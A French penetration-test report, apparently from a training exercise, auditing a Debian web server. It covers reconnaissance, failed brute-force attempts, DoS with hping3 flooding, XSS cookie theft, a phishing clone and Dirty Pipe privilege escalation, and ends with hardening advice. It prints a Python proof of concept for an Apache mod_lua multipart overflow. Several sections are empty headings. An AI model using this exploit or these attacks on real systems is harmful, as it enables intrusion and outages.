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Introduction

Lors de la semaine du Mardi 2 au Vendredi 5 Avril 2024, notre équipe a eu pour mission de
mener un audit de sécurité sur le système d’information de son client, un service consistant
en un système Linux Debian 11 hébergeant un serveur Web. Après une phase de rencontre,
de recueil de besoins et de négociations avec notre client, un contrat fit signé par les deux
parties, et un planning établi afin de fixer un prix à notre prestation.

Nous nous sommes cette semaine attelés à étudier ce système d’information afin d’y
déceler un maximum de failles de sécurité, de manière à être en capacité aujourd’hui de
vous livrer cet écrit synthétisant le déroulement de notre mission, reprenant les tests qui ont
été menés, les résultats qui ont été obtenus ainsi que nos recommandations concernant les
mécanismes de sécurité à mettre en place sur votre infrastructure afin de pallier aux failles
de sécurité qui nous avons découvertes lors de notre audit.

Nous avons mené notre mission en suivant une organisation classique : nous avons débuté
notre travail par une phase de reconnaissance, en tentant de recueillir un maximum
d’informations sur le système sur lequel nous allions devoir attaquer. Nous avons ensuite
mené à bien différents tests à l’aide des informations recueillies lors de la phase de
reconnaissance, ceci dans l’optique de tester la robustesse du système ainsi que sa
résistance à différents types d’attaques courantes. Par la suite, nous avons tenté d’exploiter
les failles découvertes afin d’être en capacité de vous communiquer la portée et
l’importance des failles de sécurité découvertes sur vos systèmes. Enfin, nous avons terminé
notre mission avec une petite phase « bilan » durant laquelle nous avons essayé de réfléchir
aux mécanismes que vous pourrez mettre en place sur vos services qui corrigeront ou au
moins limiteront les risques liés aux failles de sécurité découvertes lors de cet audit.
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Phase de reconnaissance

- ZAP

Nous avons débuté notre phase de récolte d’informations sur le système en utilisant OWASP
ZAP (Zed Attack Proxy). Cet outil nous a permis d’obtenir une liste de potentielles
vulnérabilités du système ainsi que l’arborescence probablement presque exhaustive des
services installés sur le système étudié par l’outil. Pour parvenir à cela, ZAP a utilisé un
dictionnaire et a testé différentes requêtes HTTP sur le système. Ci joint, les résultats de ZAP
quant à la liste des vulnérabilités potentielles identifiées et l’arborescence hébergée.
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- NESSUS

Afin d’approfondir nos analyses sur le serveur, nous avons décidé d’utiliser l’outil Nessus.
Celui-ci nous a permis d’analyser plus en profondeur les failles exploitables.
Avec l’aide de cet outil nous avons pu ressortir différentes failles avec différents degrés
d’exploitation et une description sur celles-ci.

Voici les failles analysées :
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Cet outil permettait de trier les failles exploitables par degré de risques ce qui nous permet
par la suite de diriger nos attaques sur certains points plus exploitables que d’autres.

Voici ci-dessous une description de la faille la plus importante du serveur. Il en existe trois
importantes et sont assez récentes. Elles sont exploitables sur les versions d’Apache 2.4.x à
2.4.58.

Toutes ces attaques sont répertoriés par des CVE, dans notre cas :

· CVE-2023-31122
· CVE-2023-43622
· CVE-2023-45802

Ces CVE, appelées aussi Common Vulnerabilities and Exposures sont des identifiants uniques
attribués à des failles de sécurité spécifiques dans les logiciels et les systèmes informatiques.
Les CVE sont utilisés pour référencer et suivre les vulnérabilités.

De notre côté nous avons tenté une attaque par Buffer Overflow qui est régulière sur les
versions d’Apache 2.4.x.

Voici le fichier qui aurait pu être utilisé pour cette attaque :

import requests

#Example "http(s)://<hostname>/process.lua"

url = "http(s)://<hostname>/<luafile>"

payload = "4\r\nContent-Disposition: form-data; name=\"name\"\r\n\r\n0\r\n4\r\n"

6



headers = {

'Content-Type': 'multipart/form-data; boundary=4'

}

#Note1: The value for boundary=4, in the above example, is arbitrary. It can be anything else like 1.

# But this has to match with the values in Payload.

#Note2: The form data as shown above returns the response as "memory allocation error: block too big".

# But one can change the payload to name=\"name\"\r\n\r\n\r\n4\r\n" and not get the error but on the lua
module overflows

# 3 more bytes during memset

response = requests.request("POST", url, headers=headers, data=payload)

print(response.text)

#Response returned is

#<h3>Error!</h3>

#<pre>memory allocation error: block too big</pre>

Or, lors de notre analyse sur le serveur du client nous avons remarqué qu’aucun fichier « .lua
» n’était présent. Ce qui implique que cette faille n’est pas exploitable.

Afin de remédier à ces failles nous vous invitons à vous reporter à la page des
recommandations pour plus d’informations.
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 - Sur le serveur

Par la suite, nous avons utilisé l’outil Nmap de manière à scanner le système et ses ports
ouverts. Grâce à cela, nous avons identifié les ports ouverts (22, 80, 443, 3306), leurs
services associés (ssh, http, https, mysql), leur états et les méthodes d’authentification ssh
acceptées (password et clés).
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- Sur l’application

Suite à cela, il nous semblait essentiel de comprendre comment fonctionnait l’application,
quels étaient ses mécanismes, ce qu’elle attendait de l’utilisateur, quels étaient les différents
cas d’utilisation possibles.

L'application est une sorte de gestionnaire collectif de réunion. L’application étant destinée à
un usage privé, il faut que votre adresse mail soit dans la base de données de l’application
pour que nous puissions nous inscrire. On se connecte avec son adresse mail et un mot de
passe constitué d’au moins 8 caractères avec d’autres contraintes (mot de passe fort). Des
contraintes sont aussi en place au renseignement de l’adresse mail sur le formulaire
d’inscription, sécurisant les saisies utilisateurs. Une fonctionnalité permet à un utilisateur de
réinitialiser son mot de passe en renseignant son adresse mail et en vérifiant si elle
appartient bien à la base de données.
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- Analyse requêtes HTTP avec Burp Proxy

Nous avons terminé cette phase de reconnaissance en interceptant les requêtes HTTP qui
étaient faites au serveur lors des clics sur les boutons de connexion et d'inscription. Ce qui
nous a permis d’identifier les données qui étaient envoyées au serveur ainsi que le nom des
champs utilisés. Ceci pourra s’avérer utile lors de la phase de tests et d’exploitation, dans le
cas d’attaques XSS ou d'injections SQL par exemple. Pour ce faire nous avons utilisé l’outil
Proxy de Burp Suite, disponible sur l’environnement Kali Linux.
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Phase de tests

- Brute force ssh

Au départ, le test de pénétration devait se dérouler en boite noire. Alors nous avons essayé
d’obtenir le mot de passe de l’utilisateur debian1 à l’aide d’un test brute force en utilisant le
dictionnaire rockyou.txt et l’outil Hydra sur Kali Linux. Ce test n’a pas été concluant car au
bout de 1h et de plus de 10.000 identifiants testés, le mot de passe n’a pas été trouvé par
Hydra dans le dictionnaire.

- Brute force phpmyadmin

Phpmyadmin utilise un système de token à chaque essai de connexion, alors nous avons
utilisé Burp Suite proxy et Intruder pour tenter de brute force le mot de passe root du SGBD
hébergé sur le système de notre client. Le dictionnaire utilisé n’a pas pu être rockyou car
trop volumineux, quoi qu’il en soit, le mot de passe n’a pas été trouvé.
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- Brute force mysql

En utilisant le même procédé que pour la tentative de brute force sur le service ssh du
système, nous avons essayé ce type d’attaque sur le service mysql car comme nous avons vu
lors de notre phase de reconnaissance que le port 3306 était ouvert.

Nous avons utilisé le dictionnaire rock you et l’outil Hydra de Kali Linux une nouvelle fois,
mais cela n’a toujours pas fonctionné. De plus, nous avons déclenché une erreur que nous
avons résolue avec la commande ‘mariadb-admin flush-hosts’.

- John The Ripper

Afin de tester toute éventualité, nous avons par la suite décidé de simuler une attaque en
interne sur le serveur.
En outre, nous avons tenté un brute force afin de déchiffrer les mots de passes présents
dans le répertoire « /etc/shadow » du système mais après plus de 5 heures de mise en route
celui-ci n’a pas fonctionné.

`

Pour ce faire nous avons cloné un dépôt git avec un ensemble de dictionnaire dont «
rockyou.txt ».
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Voici comment a pu être lancée l’attaque, mais après 5 heures de fonctionnement aucun
résultat.

Cette attaque a surtout été réalisée afin de montrer à notre client que le danger peut aussi
provenir de l’intérieur du serveur et peut se montrer tout aussi dangereux que des attaques
externes.

Afin de remédier à ces failles nous vous invitons à vous reporter à la page des
recommandations pour plus d’informations
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Injection SQL avec SQLMap :
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Phase d’exploitation

- DoS

Nous avons remarqué lors de notre phase de reconnaissance que le système ne semblait pas
avoir été configuré pour bloquer les tentatives de brute force. Nous en avons conclu
qu’aucun système d’atténuation DNS ou de détection et de bannissement de botnets n’avait
été installé.

Il est ensuite simple d’utiliser Hping3 sur Kali afin de submerger les ports 80 et 443 de
paquets réseaux à vitesse maximum (hping3 –flood) : Le système est vulnérable aux
attaques Dos (Déni de Service).
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- Faille XSS

Création d’un formulaire vulnérable afin de voir si la XSS se reflète (XSS reflected) :
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Le site est en effet vulnérable :

Création de la payload (charge utile) :
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Rechargement de la page -> redirection effectué👍

Cookie intercepté sur le serveur distant :
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Exploitation cas concret :
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- CSRF (Cross Script Request Forgery)

Création d’un site de phishing (Social Engineering), utilisation de Setoolkit :
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Après configuration d’une NAT :

Site en ligne :

Post Exploitation :

Si un attaquant parvient à brute force la connexion via SSH, il aura accès au fichier
/etc/passwd en lecture ainsi que le fichier /etc/shadow qui permettra donc de cracker le mot
de passe root en local (vitesse de calcul supérieur car aucune requête n’est faite).
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Recherche de droit sudoers (-s) mal configuré qui pourrait permettre une escalation de
privilège :

Check de la version / kernel du serveur linux :
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Recherche de faille + exploitation de la CVE-2022-0847 :
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Recommandations

Cette partie bonus reprend quelques unes de nos recommandations de base afin que vous
sécurisez davantage votre système d’information. Ces mesures vous permettront de limiter
le risque d’exploitation des failles découvertes lors de notre audit de sécurité et vous
garantissons un niveau de sécurisation plus optimal :

- Gardez votre système à jour.

- Sauvegardez régulièrement vos données.

- Surveillez vos fichiers de log.

- Installez fail2ban pour limiter les risques de brute force.

- Redirigez le trafic du port 80 http vers le port 443 https.

- Installez un système d’authentification par clés ssh sur votre système Debian.

- Interdisez la connexion ssh par mot de passe à votre système Debian.

- Configurez des content security policy (CSP) pour davantage contrôler les saisies utilisateur.

- Changez le port ssh par défaut.
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Conclusion

Nous avons mené un audit de sécurité sur l’infrastructure de notre client comme convenu lors de la

signature du contrat. Ce document sert de synthèse et vise à reprendre le déroulement du test de

pénétration s’étant déroulé du 2 au 5 Avril 2024 sur cette infrastructure. Nous avons suivi une

certaine méthodologie en commençant par une phase de récolte d’informations sur le système à

attaquer, puis en testant la résistance du dit système à diverses types de failles courantes. Enfin, nous

avons essayé d'exploiter ces failles afin de démontrer les effets qu’elles pourraient avoir sur le

système d’information de notre client ainsi que sur les services et données que ce système héberge.

Nous avons terminé ce document en donnant quelques conseils de sécurisation à notre client, qui

permettront de limiter les risques d’exploitation des failles que nous avons découvertes.
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